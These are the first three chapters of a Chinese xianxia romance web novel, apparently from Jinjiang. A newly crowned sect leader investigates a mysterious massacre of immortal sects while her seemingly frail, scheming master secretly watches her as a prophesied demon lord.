《我的危险师父》
1. 晋江文学城 01[风起]
从前有很多座山。
云雾缭绕,灵气丰沛。
景华二年,风调雨顺,国泰民安。
山上便住了许多仙人,立了无数门派。成天唇枪舌剑,纸上斗法。
天明九年,国愈发泰,民更加安。
山上的仙人多如牛毛,门派大大小小,满天星宿一样杂又密。
不过各个门派间,却倏然不再斗来斗去了。
天地间出了一位货真价实的奇才。
她用一把平平无奇的浮生剑,让芸芸门派噤若寒蝉。
众仙家唯她是从,还特意择了吉日,尊她为仙门宗主。
吉日前夕,多数门派都在兢兢业业地做准备。
每个门派都想在明天讨得宗主欢心,好抱上大腿一鸣惊人。
殿中摆满了奇珍异宝,琳琅书画。
只因这宗主的喜好无人知晓,大家揣摩不透,索性什么宝贝都搬出来抖一抖。
殿外却忽然下起暴雨,一道道惊雷从暗紫天空劈下。
刹那间,火苗打四处窜起,借恶风长成了令人窒息的灼浪。
众人大惊失色,却都身不由己,眼睁睁看着自己的手扼上同门师兄弟的脖子。
或断头。
或自刎。
或撞在墙上血流如注……
雷声盖住凄厉的鬼哭狼嚎,雨水冲刷黏腻的满地血水。
*
“宗宗宗主!宗主救命啊!宗——”
又一个五大三粗的壮汉被仙童架进来,虚弱无力地瘫倒在地上。
壮汉衣袍破烂,上面血迹斑斑。
他撕心裂肺地嚎着,仰头看到殿里其他人时,表情忽然愣住。
大殿一侧,肃穆空寂的根根石柱旁。
长长一排人,个个都衣冠不整,浑身血迹。
好比这里是地狱,大家都挂着一脸死相。
阶上主座,女子一袭红衣,面色冷若冰霜。
旁边小仙童觑她的神情,小心翼翼递上一碗压惊宁神的汤药。
姜盈初蹙眉摆手,没接。
她的心情已由震惊变得麻木,偏头问仙童:“这是哪个门派?”
“嘶——”仙童犯难地盯着壮汉。
这门派成百上千,他也只能说上来一些声名赫赫的。
壮汉识趣地自报家门:“在下玄九思夜阁天机堂——”
“玄长老。”姜盈初没有时间听废话,打断他,平静地问:“可是一夜之间,满派惨遭灭门?”
壮汉吸吸鼻子,含泪点头。
“宗主,我阁上下足足四十九条命,都死在了昨夜那场妖火里啊!求宗主为我做主,求宗主救救——唉唉唉?”
他话还没说完,忽然有个双目赤红的少女闪出来,一把将他拽进了人群。
“先来后到。”少女说,“区区四十九条人命,还不规规矩矩地排队?”
壮汉门的门派虽小,但他好歹是一派阁主,平时被四十九个弟子高高供起来,养尊处优。
冷不丁被一个小丫头片子训斥,壮汉火冒三丈:“什么叫区区四十九条人命?四十九咋了,人命关天,这是天大的事情!”
少女目不斜视,充耳不闻。
壮汉气死了。
他还要开口,肩膀冷不丁被人拍了拍。
壮汉转头,对上一双突然近在咫尺的漆黑眼瞳,吓得一激灵。
姜盈初审视地看了眼他,幽幽叹气。
她盯着殿外那只圆滚小猫,话却是对壮汉说的:“若柒柒,青龙派掌门。青龙派两千人,现如今,只有三百人活着。”
壮汉“啊”了一声,白痴地问:“其他的去哪儿了呀?”
“死了。”姜盈初说。
壮汉愕然地瞪大了眼。
满殿哗然。
这青龙派是最近几年突然冒出的门派,势头强劲,如日中天。
怎么会都死了呢?
难不成——遭遇了和自家门派一样的鬼事情?
壮汉傻了好一会儿,结巴地问:“那,那敢问宗主,为何——”
“问她。”姜盈初看了眼刚刚那名少女,正过身冷冰冰地说,“问若柒柒。”
说完,她递给门外小猫一个安抚的眼神,疾步出了大殿,留给壮汉一阵扑面气风。
小仙童在阶上拖着长腔:“诸位长老稍安勿躁,宗主去去就来。”
等姜盈初的身影彻底从众人视野中消失,殿内沉寂的气氛才稍稍活跃起来。
这些浑身狼藉的人交头接耳,脸上的表情越来越惶恐。
他们再三向彼此确认,终于得出来一个不可置信的结论。
昨夜的那场血雨腥风,在场竟无一门派幸免!
周围安静了下来,落针可闻。
“此乃不祥之兆啊!”一个拄着拐杖的老头实在愕然,扯着嗓子惊恐地说。
而后被吓得身体僵硬,直挺挺地向后倒去,“咚”一声和地面肌肤相贴。
*
姜盈初走出殿门。
肥头大耳的小猫亲昵地蹭蹭她,懒洋洋地带路。
锦鲤池旁,有个人正立在簌簌大雪中的枯桃树下。
姜盈初远远瞧见那人苍白的面庞,脚步一滞。
然后凭空变出一件墨色薄氅,抱在怀里,朝言遮走去。
“师父。”姜盈初在他身旁站定,喊道。
言遮没吭声,凌厉的骨相都被病气遮掩,乍一看只能看见“姿色”二字。
姜盈初又喊:“师父。”
她师父依旧不语,修长指节把玩儿着手中折扇。
姜盈初不知他那根筋又搭错了弦。
若是别人让她这么云里雾里,她定然转身就走。
凡是一问三不答的卖关子,姜盈初都不喜欢。
人长一颗玲珑心,可不是为了弯弯绕绕勾心斗角。
可眼前这个人是言遮,是她的废物师父。
三年前,姜盈初昏死在冰天雪地中。
言遮打马而过,救死扶伤,把她捞进了怀里。
本该是英雄救美的故事。
不料言遮被雪晃了眼,连人带马,还带着姜盈初,一头扎进深谷。
姜盈初福大命大,毫发无损。
言遮运气不及她,虽然没有皮肉之伤,却落下了病根。
可能是被善有恶报气到了。
他用“救命恩人”的绳子捆住姜盈初,狗皮膏药一样粘着她。
故事到了这儿,又该是以身相许,亦或强取豪夺。
但他俩不同。
言遮眼尾泛红,哽咽着自己上无老下无小。
“要不,你认我做义父?”他假装哭哑了嗓子,小心翼翼地看着姜盈初。
哦,打的是让人给他养老的算盘。
姜盈初听出来了。
她接受不了凭空多一个爹,退而求其次,认了言遮做师父。
眼下,姜盈初抿唇。
“天寒地冻。”她手法粗暴地把怀里大氅拍在了言遮身上,“师父小心着凉。”
“咳咳咳——”
她话音刚落,言遮就把半张脸藏在扇后,闷咳起来。
姜盈初蹙眉,伸手要给师父把大氅裹紧。
言遮抬眼,轻轻用扇子挡停她的手,另一只手径直推掉了肩上大氅。
厚实的衣服落在更厚实的雪地上,本该无声无息。
可言遮眼瞎,没看见脚边的小猫。
小猫被盖在衣袍下,登时吱哇乱叫起来。
“这件颜色不好看,我不喜欢。”言遮看着姜盈初,吐气如兰。
姜盈初:……
她没忍住闭了闭眼,勉强消化了自己想欺师灭祖的冲动。
再睁眼时,一个白色瓷勺递到她嘴边。
“把药喝了。”言遮捏着勺柄。
是小仙童刚刚端的那种宁神药。
姜盈初摇头:“我不害怕,血淋淋的场面我又不是没见过。”
还有一个更关键的理由,她没有搬到台面上来讲。
她不怕血腥,但她怕苦。
言遮毫无波澜地“嗯”了一声:“为师让你把药喝了。”
尊师重道。
姜盈初认命地接过碗,视死如归地仰头灌下。
苦得简直发酸。
但姜盈初不会把自己怕苦这件事暴露无遗。
哪怕对方是言遮。
她尊敬他,照顾他,都算报恩。
但她并不亲近他。
“师父喊我就是为了这个?”她问。
“嗯。”言遮声音清冷,眸中一丝满意闪过。
姜盈初哭笑不得地看着她师父。
圣然殿里还有天大的窟窿等着她去补呢。
他倒好,把自己喊出来只是为了喝这聊胜于无的药。
“行吧。”姜盈初拾起地上大氅,和手里的碗一并塞给言遮,“师父最好还是穿上。”
“丑。”言遮言简意赅。
姜盈初麻了。
察觉到小猫又在蹭自己,她又叮嘱师父:“别欺负旺财,它又不是灵兽,听不懂人话。师父扔衣裳闷它,它该害怕了。”
言遮没有说话。
姜盈初转身,往前走了两三步,身影突然消失在带起的风中,只剩被卷在风里的冰渣子凌乱飞舞。
枯桃树下又恢复了刚才的空落落。
言遮身穿白衣,安安静静站着,几乎要和落雪融为一体。
“我就该变成老虎!变成熊!”一道满是怨气的声音凭空出现,“变成你用衣裳盖不住的东西!”
言遮看向脚边义愤填膺的旺财,嗤笑说:“你自己选的,受着吧。”
旺财生无可恋地望天。
自己当时怎么就一时想不开,怎么就变了猫呢?
它可是帝君的灵兽,千年只此一头的麒麟啊。
如今呢?它是被盖在衣裳下就束爪无策的废物,还顶着“旺财”这种狗名字。
不过——
旺财又仰头看着言遮,他正在把空碗往食盒里装。
旺财的心态又平衡了。
堂堂帝君都变成了给别人端碗喂药的仆人,自己变成一只猫,还算不错。
旺财要怨只能怨自己主子太行侠仗义。
魔尊降世,三界神仙要么慌得乱作一团,要么已经准备好赴死。
只有这帝君天不怕地不怕,冷声道:“我会解
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决她。”
就这样,旺财跟着言遮下凡,化作两个废物,一左一右潜伏在这灭世魔尊身旁。
“唉,你准备什么时候动手?”旺财问,“仙门被灭,山雨欲来,你等她化魔了再动手,可就为时已晚呐!”
言遮拎起食盒:“先养养,她还听话。”
他看到了她咽下药时,那一瞬间被苦到的神情。
尽管她有意掩饰,但他依旧精准捕捉到了。
言遮莫名满意。
尽管她觉得这碗药难以下咽,但她还是听了自己的话。
或许是因为姜盈初现在还格外听话,他并不打算现在就动手。
“拉倒拉倒!”旺财躺在地上打滚,“她现在都已经是仙门宗主,等以后翅膀硬了,还能听一个废物病秧子的话?”
言遮嘴角的一丝笑意消散殆尽,冷冷看了眼地上的猫。
旺财一怔,后知后觉地意识到自己刚刚好像骂帝君是废物。
“喵~”
它讨好地叫了一声,缩进了地上的大氅里。
言遮突然勾唇,笑得意味不明,妖冶又让人胆寒。
“我有分寸。”他恶劣地朝旺财比了个抹脖子的动作,“杀她不过手起刀落,比杀你容易。”
旺财猫身一抖,弱弱地用猫爪按着大氅边缘,把自己严丝合缝地闷在里面。
*
姜盈初回了圣然殿。
一堆长老叽叽喳喳,各个面色惊惶。
见到姜盈初,好比无头蚂蚱突然找到了方向,要牢牢抱住这根救命稻草。
“求宗主为我门派报仇雪恨!”
“我等愿誓死追随宗主,求宗主彻查此事!”
……
姜盈初却摇头。
底下众人顿时心底发毛,双腿发软,生怕宗主丢下他们逃之夭夭。
“诸位放心。”姜盈初平静地说,“我既认了这‘宗主’的称号,定不会旁观此事。”
众人长舒一口气。
姜盈初眼神示意底下仙童都去搀扶这群长老,起身道:“诸位暂且在沐阳山好好休息,此事安心交付与我就是。”
她顿了一下,在幻移离开前补充道:“我做事不喜有人插手。”
*
是夜,诸位长老都熟睡了,房里漆黑,伸手不见五指。
沐阳山的藏书阁还亮着光。
姜盈初只身泡在排排书架间,埋头捧着书卷翻阅。
今日这般诸多门派被灭的事,她倒是从古籍里找出来几例。
不过这些例子,要么是宿敌寻仇,要么是堂堂正正的门派比试。
都和如今的形势不相符。
当今世道,虽然门派遍地,可都是些花拳绣腿哄骗人的雕虫小技。
除了青龙白虎朱雀,这三个真刀实枪的门派之外,其余那些,十个里面有九个都不会一点儿术法。
这能有什么值得大开杀戒的仇?能有什么值得屠人满门的比试?
砰——
门外突然传来一声重响。
姜盈初翻页的手一滞,迅速移到门外,手中倏然多出来把闪着寒光的剑,剑柄刻有龙飞凤舞的“浮生”二字。
门外,一切如常,除了门口躺在地上的那盆花。
姜盈初蹙眉,问当值的两个仙童:“花倒了?”
一个仙童正在迷迷糊糊地打盹,听见姜盈初的声音,如梦初醒。
另一个仙童态度端正,双眼瞪得很圆,大声道:“刚刚被风吹翻的!”
姜盈初收回剑,古怪地盯着他,“那你扶起来啊。”
“是!”呆板的仙童反应过来,连忙将其扶正。
风平浪静,姜盈初又回了藏书阁。
她翻遍一楼仍无所获,径直踏上二楼。
而这六层藏书阁的屋顶,冬夜寒风呼啸,屋脊上的一人一猫被吹得摇摇欲坠。
言遮惨白着脸,看向旺财的时候毫不掩饰自己的杀意。
笨手笨脚带翻花盆的旺财心虚极了。
小心翼翼地蹭了蹭言遮的衣角。
“蠢货。”言遮轻声骂道。
要不是他手里捏着两沓纸,腾不出手,不然定要把这蠢麒麟揍得现出真身。
两沓纸上,字迹潦草,密密麻麻。
艰难地辨认下来,意思是说:这众多门派被屠,是魔头现世之兆。
以及姜盈初刚当了宗主,就有此等灾祸问世,可见姜盈初实在不详。
这纸上的字是言遮用左手扒拉出来的。
旺财吹着冷风,好奇地问:“魔头降世,自然会有预兆,你这样提醒大家干嘛?”
言遮用看傻子的眼神扫了眼自己的蠢麒麟:“我为的是提醒他们?”
“啊,那是为了什么?”旺财问。
言遮没搭理它。
妖火降世,便是天道降下的预兆。
而他费尽心思写这样一沓纸出来,只是想让她看清这些所谓仙人的真实面目罢了。
若她被扣上一个“灾星”的名号,这些仙人还会像如今这般尊敬她吗?
今夜没有血雨腥风。
但沐阳山上下,除了姜盈初,人人手里都多出来这样一张纸。
2. 晋江文学城 02[蝼蚁]
姜盈初在藏书阁翻了一晚上的古籍。
天将亮时,她忍不住困,阖眼趴在案上打盹儿。
“宗主。”一道脚步声由远及近。
姜盈初警惕地睁眼,手中又亮出浮生剑。
在看清来人后,她松了一口气。
沐阳山上下,仙童很多,但姜盈初身边却从来不需要人来近身时刻伺候。
她是来修仙的,不是当神仙的。
她休息的时候周身常布着结界,沐阳山中,只有两个人不受这结界的阻挡。
一个是她师父,言遮。
另一个是沐阳山主峰的领事,李良辰。
而此刻,来人瘦得像豆芽,肤色黝黑,眼睛小而熠熠,看上去十分狡诈。
“宗主。”李良辰作揖说,“诸位长老都在圣然殿等您。”
他的声音和长相十分不相符,口音浓厚,虽说的是官话,可实在歪七倒八。
整个人的气质一下子就从狡猾变成老实,两级反转。
姜盈初挑眉:“等我?”
她昨天都给这些人打了保证,实在想不到他们还有什么要等自己的事。
李良辰从怀里摸出一张皱巴巴的纸,弯腰双手给姜盈初奉上。
“大雨和小雨峰的两位峰主也在殿内等您。”他说。
姜盈初仔细地扫完纸上内容,面无表情地问:“怎么回事?”
李良辰:“今早我们起来,人人手中都捏着这样一张纸。朱掌门已经和我调查过,发现昨夜一切如常,毫无异端。”
“人人手中都有?”姜盈初问。
“是,主峰和大小雨两座峰,人人都收到了。”李良辰声音越来越小,“凭空出现,就好像……天意一样。”
姜盈初直视着李良辰,一言不发,抬手把纸丢了。
这张被称为“天意”的纸从空中扑扇着坠到地面。
姜盈初抬脚,踩了上去。
李良辰一怔,而后“咚”一声跪在了地上。
“是我说错话了!宗主切勿动怒!”他脸红脖子粗地解释,“就算,就算这是天意,我也一心追随宗主,万死不辞!我这条命都是宗主给的,如果没有宗主当初把我从狼窝里救回来,我早就命丧——”
“起来。”姜盈初说。
李良辰还陶醉在对宗主的感恩戴德中,越说越激动,不禁哽咽。
冷不丁被宗主打断,茫然地“啊”了一声。
“没怪你,起来。”姜盈初丝毫没有被这张怪纸影响到的样子,冷声吩咐:“去理清楚,都有哪些门派遇害,几人遇害,现存几人,生者为何人。”
李良辰点头应嗳,犹豫再三,说:“对了,宗主,言遮又病了,今早喊了一堆仙童去给他熬药。”
他的口吻十分嫌弃,着重强调了“一堆”这个字眼。
心里祈祷宗主听到这个废物又犯病,能心生厌烦,直接把他轰出山门。
沐阳山上下,人人都对姜盈初服服帖帖。
但却没几人能给言遮好脸色,哪怕他是姜盈初的师父。
一来,姜盈初事事分明,她说,“这是我师父,我尊敬他,理所应当。你们怎么对他,全凭自己心意,我不干涉。”
二来,言遮身为在山上混吃等死的无赖,却毫无自知之明。
眼高于顶,脾性古怪。
众人都很听宗主的话,都按照自己的心意对言遮——瞧不起,看不惯。
姜盈初已经习惯自己师父隔三差五病一回,并不惊讶。
不过提到了言遮的名字,她想了想,叮嘱李良辰:“知道了,你去和他一块儿整理我要的东西,速度能快一点儿。”
她说完,立马幻移去了圣然殿。
李良辰:……
他恨自己的多嘴。
*
主峰后山,言遮的普华院里。
一堆仙童挤在小厨房,麻木地瞪着炉上药罐。
案上放着长长一行琉璃碗,碗里各自盛着药——都是被言遮原封不动退回来的。
“就这碗了!”一个仙童愤愤地说,“就算天塌下来,我都只调这最后一碗。”
他咬牙切齿,端着盘子走向主屋。
言遮倚在床头,半身缩在狐毛被子里,出神地看着窗外虚空。
一派岁月静好的样子。
如果忽略他时不时咳得半死不活的话。
仙童进来把药递给他,吊着气悬着心,凝神注视他的表情。
言遮抿了一口,“不苦不甜,味道合适。”
仙童大喜,热泪盈眶。
天知道这难缠的祖宗今早是如何刁难他们的!
这是整整第十三碗!
第十三碗啊,终于有这厮能喝的了!
“但温度不行,太凉了。”言遮话锋一转,幽幽地把碗又递给仙童。
仙童:……
这种货色怎么还没病死?
小仙童窝火地去接碗,忽然有只手自他身后冒出,径直把碗打翻在地。
言遮不为所动,偏头,继续云淡风轻地看着窗外出神。
李良辰见他摆架子,气得要死。
“不准再给他熬一碗药。”他沉声对仙童说。
言遮的目光从窗外收回,嘴角莫名一勾,拍手附和:“嗯,别再给我熬了,怪麻烦的。”
李良辰:?
凭他对这个人的了解,一切绝对没有这么简单。
果然,下一秒,就见言遮弱柳扶风地捂着心口:“病死我算了,不要紧的。只是可怜盈初,我要是死了,她该有多伤心呐!”
李良辰白眼要翻到天上。
余光中,他瞥见圆滚滚的一抹黄打床底窜出,卯足了劲要往屋外跑。
是那只该死的,通风报信的,擅长给宗主告状的肥猫。
李良辰脸色铁青,自作自受地把碗从地上拾起,深吸一口气,“我去熬。”
言遮笑了,拖腔带调:“哦?——领事抬爱,那我先不死了。”
旺财又甩着尾巴往屋内走,和要去小厨房的李良辰擦肩而过,满脸的小猫得志。
气得李良辰甩袖而出。
诸如此般的事情不计其数。
沐阳山上下,就是因此看不惯言遮的。
言遮,宗主的师父。
自诩金贵,脾性古怪,挑剔,只知道向宗主告状。
李良辰绝不可能和这位大爷一块儿办事,绞尽脑汁地想脱身之法。
他在提笔认真地整理各门各派伤亡情况。
言遮在一旁哼着蚊子念经的小曲。
李良辰听得头大,脑瓜子嗡嗡作响。
终于,在他马上就要忍不住的时候,有仙童来报。
“领事,宫里来人了,在山脚下。”仙童说,“宗主让您差人去接。”
李良辰仰头长舒一口气,喜不自胜。
他提笔就指向言遮,“唉,你去。”
*
圣然殿里,纸屑像白雪,铺了满地。
一炷香前,众人还捏着手里凭空多出来的纸,不知如何是好。
直到姜盈初的身影出现在大殿。
当今三大门派之一的朱雀派掌门立马跳了出来。
朱雀派和青龙派的声名鹊起不同。
这是一个根基深厚,历史悠久的门派,早在先帝在世时就名震一方。
如今,先帝已成了黄土下的一具白骨。
这朱雀派掌门——朱肃——依旧荣光焕发,前些日子刚过了一百三十七岁大寿。
“宗主如何给我们一个交代?”身体硬朗的朱肃站了出来,语气不善。
姜盈初没搭理他,裙摆翩然,镇定落座。
朱肃冷哼,把手中的纸揉成团,狠狠掷在地上。
他环顾四周,指着姜盈初,语气激昂地质问:“诸位还看不明白吗?我们诸多门派被灭,就在她当上这个破宗主的前夕。这是有人和她有着血海深仇,我们都是被无辜牵连进去的呀!”
这话说得太锋利,众人都被吓懵。
大小雨峰两位峰主面色阴沉。
不过他们习惯听命于宗主,宗主云淡风轻,两位峰主也不敢贸然冲出去。
“如今我门派千余人已惨遭横祸,还要继续跟着她送死吗?”
“诸多门派被灭,少了我们,她姜盈初能算什么宗主?她能为我们做什么?”
“你们爱送死就送死,我不奉陪了!”
朱肃唾沫星子喷溅完毕,抬脚往殿门走。
众人抬眼观察宗主的神色——
姜盈初依旧神情淡漠,无动于衷。
大殿乌泱泱一群人的目光,都集中在了往出走的朱肃身上。
“谁敢走?”忽而一道凌厉的女声杀出,动作迅疾如风,挥着玉锤挡在朱肃面前。
朱肃被吓得心都要飞出嗓子眼了。
结果发现面前这人是若柒柒,连忙把心重新咽了回去。
他手中浮现出一道长鞭,准备要和这没头脑的黄毛丫头交战一番。
“若柒柒。”姜盈初终于开口,神色不明,“站回来。”
看戏的人都一愣。
若柒柒更是骇然,张口还要说话。
姜盈初深深看了她一眼。
若柒柒不甘地站回了人群中。
朱肃按下心头狐疑,故作镇定地往外走。
一步,一步,一步。
每一步走得都很安稳,铿锵有力。
忽然,人群中又有掌门闪出来,追随着朱肃的脚步,“我也不要再受这个灾星的牵连了!”
“我也!”
“拒绝和灾星同流合污!”
……
殿中三百余人,等这个队伍行至门口的时候,人数积累到了将近百人。
其余众人提心吊胆,头像拨浪鼓一样转:覷一下姜盈初的神色,又看一眼这些人的情况。
姜盈初面无表情,根本让人猜不透她的态度。
而门口,朱肃这个领头羊已经一只羊蹄迈出了殿门。
他动作停顿了一瞬,略有犹豫地彻底走了出去,腿脚发软地倚在门口神兽的石像上。
风平浪静。
朱肃欢呼一声,追随他的人也一窝蜂往门外涌。
咚!咚!咚!
刹那间,好似空中多了道看不见的墙,这些涌出门外的人都被高高弹飞,又像跃不进龙门的鲤鱼,重重落回殿内地上。
殿内鸦雀无声。
有不死心的,心一横,咬牙继续向外猛冲。
也有像朱肃一般狗急跳墙的,变出武器试图和那看不见的墙搏斗,可武器还没挥出去,人就先被弹飞回来。
有人瘫倒在地,回头绝望又惊恐地仰视姜盈初。
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>有人绝不回头,依旧咬牙挣扎。
在这莫名震撼的场景中,姜盈初缓缓站了起来。
她打了个响指。
空中那道无形的墙倏然消失。
还在向外猛冲的人没意识到,拼尽全力撞过去,结果把自己摔了个狗啃泥。
龇牙咧嘴过后,讶异地回头看着姜盈初。
姜盈初走下台阶,走到瘫倒在殿中央的朱肃身旁。
十天前,这些门派商议尊姜盈初为宗主的时候,也是朱肃喊得最为大声。
这些人争先恐后地对她许下各种誓死追随的承诺,想方设法地试图得到她的欢心。
姜盈初俯身,意味不明地看着他:“我允许你们背弃十天前对我许下的承诺,我允许你们成为不用付出任何代价的走狗。”
以为姜盈初会解决他们的众人一愣,面面相觑。
“但你们记住,你们只是连我的一道结界都闯不出去的蝼蚁。”
“以后任何大难临头,我都不会施以援手。若是反目成仇,也别怪我剑指昔日旧友。”
姜盈初勾唇,漫不经心的笑最为讥讽。
朱肃不语,身形颤抖。
很长时间的沉默。
终于有人如梦初醒,反应过来自己刚刚做了何等蠢事。
但他们没有被给予泪流满面忏悔的机会。
姜盈初轻轻拍手。
这些人齐刷刷地被骤起的风抛向殿外。
还有悔过者连滚带爬地往殿里窜,门口神兽的石像却突然朝天怒吼一身,吓得这些宵小抱头鼠窜。
殿内人群里头,不知哪个机灵鬼最先起了头,把手中那张满是胡言乱语的纸撕得粉碎。
然后往空中一撒,跪倒大声地表衷心:“我等绝不为妖言所惑,绝不背信弃义,誓死追随宗主!”
于是人人都开始撕纸。
圣然殿里便铺上了一层白雪,狂乱又庄重。
言遮便是在这个时候被侍从搀扶进来的。
*
扶他进来的侍从满头大汗,气喘吁吁。
旁边站着个敷粉的太监,嫌弃地看了眼言遮。
这病秧子一路咳咳咳,咳得徐公公觉得周身空气都污浊了,好像自己也会染上这病。
姜盈初一愣,没想到去接来客的人是言遮。
她移步下来,从侍从手中接过自己弱不禁风的师父。
“师父为何要去接人?”姜盈初对太监轻轻颔首,而后先问言遮。
言遮看着小徒弟扶着自己的手,又扫了眼被晾在一旁的太监。
没由来的得意让他闷笑一声。
姜盈初:?
太监:???
“咳咳咳咳——”察觉到两道疑惑的目光,言遮连忙大鸟依人地虚倚在姜盈初肩头,偏头向后猛咳。
他咳得眼尾泛红,眸中蒙着一层薄雾。
楚楚可怜,又故作淡然地说:“无妨,我的身子不打紧,领事交代的事情,就是你的事情,我定然认真去办。”
一句话就把李良辰卖了个干净。
殿中多是初到沐阳山的人。
只是听闻过宗主有个病弱师父,脾性古怪,不讨人喜。
可——
也没人告诉他们,这师父是此般模样!
长得比青.楼里那些白面公子好看就算了。
怎么这一举一动,还胜过那些公子的风情万种呢?
这哪是拜了个师父?分明是养了个男宠在山上啊。
众人心照不宣地低头,不敢再看这小媳妇儿给宗主告状的戏码。
姜盈初倒没有察觉出任何异常。
她有一搭没一搭顺着师父的背,手法早在撸猫的时候练得炉火纯青。
旁边旺财看得眼馋,着急忙慌地“喵”了一声。
瞥见言遮要杀猫的眼神后,又立马夹着尾巴躲进了人群。
*
宫里来人,众人惶恐。
他们好些都是借着所谓“门派”捞油水的人,倘若不干这行,那定是个地道商人。
哪有机会呢见得到宫里头的人?
听到这位公公正是如今陛下身边当红的徐公公时,一群人更是吓得腿软,又按捺不住心中激动。
傍上皇帝的大腿——
可比傍上姜盈初的大腿有用多了!
虽然不知道皇帝为何要派人来沐阳山,但一群人的视线还是若有若无地落在太监身上,不曾移开。
姜盈初也疑惑。
天家和仙家,向来井水不犯河水,互不干涉,一派祥和。
皇帝知道这修仙赚银子的骗局。
但架不住这些仙人给自己的“功德福报”太丰厚,睁一只眼闭一只眼,默许了他们招摇撞骗。
至于像对三大门派和姜盈初这种有真本事的仙人,自然敬重。
敬而远之。
可现在为什么突然派人上山了?
“昨日呐,钦天监算出,这仙门有灾祸发生,恐有魔头问世。”太监满脸横肉笑得堆在一起,“钦天监又言,沐阳山煞气冲天,怕是有灾星藏匿于此。皇上牵挂宗主,特派咱家来瞧一瞧。”
此话一出,众人闻之色变。
这和那纸上写的一模一样啊!
太监的目光不经意地在人群中扫。
姜盈初扶着言遮,也冲对方笑得虚情假意。
3. 晋江文学城 03[天家]
又一炷香后,太监和随从被请去偏殿稍作等候。
临走,徐公公脸上还堆着虚情假意的笑。
姜盈初也面不改色,淡淡接过李良辰整理好的卷宗。
全然临危不乱。
可底下众人非常乱,心乱如麻。
一边是实力出群,取他们人头于弹指一瞬的宗主。
一边是权势滔天,取他们人头于言语之间的帝王。
这人头岂不是左右都保不住了?
姜盈初的视线上下扫着纸页,随意地问:“还有谁想走?”
没人吭声。
“真的没人想走吗?”姜盈初语气轻松地问,“钦天监插手,就代表了宫里的态度。他们为何与我作对,我不知道,也不知道接下来又回发生什么。”
她抬眸,扫视着众人,“为了自保,在我的允许下离开,不算背信弃义。”
沉默了许久。
终于有人颤巍巍地从人群里迈出一条腿——是昨天被架进来的那个壮汉。
他冲姜盈初虔诚地作揖,而后脚步发虚地往门口走。
姜盈初给旁边的仙童使了个眼色。
仙童疾步走下了台阶!
察言观色的众人吓得倒吸一口凉气,都在庆幸自己刚刚没有中计站出去。
不料,只见仙童挡在壮汉身前,却没有刁难他。
反而是双手奉上一个钱袋。
壮汉脑子空白,接过沉甸甸的钱袋一瞧,里头赫然是满当当的灵石!
他感激涕零地回首,又冲姜盈初作揖。
不过这回,他的身影被一窝蜂涌出来的人淹没了。
走完一波人,姜盈初给底下选择留下的分别发了护身符。
东洲地界,仙门各派的势力南北渭泾分明。
南方势力占据的面积相对广阔,门派也纷杂,尊姜盈初为首。
而在北方,京都以上地界,只有一个门派盘踞——便是三大门派之一的白虎门。
北方仙人自然尊他们的掌门为首,不认姜盈初这个仙门宗主。
李良辰整理了各门派的伤亡情况。
姜盈初也传达给了阶下各位长老。
“东洲境内,京都以南,门派共八百余。其中人数超五十的门派,约五百。此次灾祸,涉及约七百门派,三百余门派被屠满门,赶来沐阳山的门派约三百。”
姜盈初四平八稳地报了数。
底下残存的长老们听得心中恐慌,却也咬牙做出毫不畏惧之色,扬言要和宗主联手彻查此事。
姜盈初颔首,众人稀稀拉拉走出圣然殿。
殿里便只剩下了大小雨峰的峰主以及一众仙童。
“咳咳咳——”
哦,还有一个存在感极强的病秧子。
姜盈初蹙眉打量言遮,劝道:“师父还是先回普华院歇着吧。”
言遮“哦”了一声,毅然摇头。
“领事还在那儿呢。”他可怜巴巴地说,“我害怕。”
姜盈初:……
她只好像安慰小孩儿一样,厉声对着仙童道:“李良辰把差事交给一个病人,甚是过分。”
“是啊!”言遮虚弱地附和。
姜盈初又软着声音哄他:“师父去替我喊他过来,我好好训斥他一番,你好好休息,如何?”
言遮略微思索,臭屁地点头应好。
大小雨峰的峰主是一对夫妻,被眼前场景辣到想捂对方的眼睛。
索性言遮走得利索,即使拖着病体,走出殿门时依旧雀跃。
姜盈初看着自己师父那志得意满的背影,忽然开口说:“缺一条尾巴。”
她莫名觉得她师父像只尾巴翘上天的狐狸。
可能是言遮总是一身白衣的缘故。
“啊?”两位峰主齐刷刷地看向宗主,满头黑线。
姜盈初不自然地咳了一声,“我说让你们赶紧去山门那里逮人。”
两位峰主满腹狐疑尾巴一事,又不敢问。
只能干巴巴地应道:“是——”
*
山门只有红墙,不见黛瓦。
落雪豪横,纷纷扬扬一抖,把鳞次栉比的瓦片金屋藏娇。
而匾下门洞中,有四五个人手拉着手壮胆,跟守门的一队仙童对峙。
“吾乃地灵阁阁主!”一个人攥着衣角,大声地吼。
旁边那个瘦猴也结结巴巴地附和:“是!你,你们这样随便拦人,小心我们给宗主告状!”
“哈哈哈哈哈!”这一队守门仙童的都头突然朗声大笑,笑得前俯后仰。
“唉,你们听见他要找谁告状吗?”都头问旁边仙童。
旁边仙童也笑:“他们要向宗主告状呢。”
“自己心口不一,当着宗主的面说誓死追随,背过宗主就要逃之夭夭,还敢去给宗主告状!”
都头笑趴了,弯腰捂着肚子。
几人都被这句话掐住了脖子,一言不能发。
瘦猴脸色憋得五彩纷呈,理不直气不壮地挣扎:“谁,谁说我们要,跑了?我们就是下山,去,去……”
“去做何事啊?”一道声音突然冒出。
两位峰主闲庭散步地朝这边靠近。
几位要跑的长老瞬间惊恐地瞪大眼。
大雨峰的峰主漫不经心提着剑,一路拖拽过来,划在青石板上嘶嘶作响。
他冲这几人冷冰冰地说:“今日,诸位哪儿都不能去。”
有胆小的长老当即吓倒在地。
小雨峰的峰主见状,嗔怪道:“什么哪儿都不能去?你就知道吓人。”
几人闻言,看向小雨峰主的眼神里多了一抹救命的期待。
大雨峰主见他们视线都粘在自己娘子身上,十分不爽,剑已经抬了起来。
小雨峰主用眼神按下锃亮的剑,笑颜如花,“诸位放心,沐阳山水牢的大门为你们敞开。”
几位长老:……
他们心都被吓碎了,哪儿还能放什么心?
在一片鬼哭狼嚎声中,小雨峰主用她的法绳捆了一溜人,饶有兴味地赶着他们走。
她柔声安慰这些长老,“你们别怕,我们的水牢没有别处凶残,水量不及他们的三分之一。”
有长老双手被捆,小心翼翼地问:“真的?”
“真的,因为我们会把你囚在笼子里往下沉哦。”小雨峰主语气依旧温柔,“不过我们创新,内容比别处丰富得多,这笼子有普通的,还有满是钢针的站笼。沉水的时候,还可以在脸上闷一个内有尖刺的铁面具……”
*
被押到姜盈初面前的时候,有两个长老吓湿了裤子。
早就料到有这种双面虎的姜盈初很是淡然,懒洋洋地恭候他们多时。
